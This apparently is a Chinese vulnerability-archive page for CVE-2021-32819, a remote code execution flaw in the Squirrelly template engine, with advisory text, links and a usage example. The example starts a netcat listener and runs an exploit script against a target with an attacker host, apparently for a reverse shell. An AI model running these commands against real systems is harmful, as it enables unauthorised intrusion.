目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-32819 PoC — Squirrelly 信息泄露漏洞

来源
关联漏洞
标题: Squirrelly 信息泄露漏洞 (CVE-2021-32819)
Description:npm Npm squirrelly是美国npm公司的一个应用软件。提供一个使用JavaScript实现的现代,可配置且功能强大的快速模板引擎。 Squirrelly 存在信息泄露漏洞,该漏洞源于通过Express渲染API将纯模板数据与引擎配置选项混合。通过覆盖内部配置选项,可以在下游应用程序中触发远程代码执行。
Description
SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications.
介绍
# CVE-2021-32819
CVE-2021-32819 : SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications.

### Source
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
### Analysis
https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
### squirrelly
v8.0.0 >= v8.0.8 Remote Code Execution
### Environment
Ubuntu 20.04.1

### Example
```
nc -lvp 443

python3 exploit.py http://example.com/  ATTACKER_HOST 443
```

![Proof of concept](https://raw.githubusercontent.com/Abady0x/CVE-2021-32819/main/img/POC.png)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →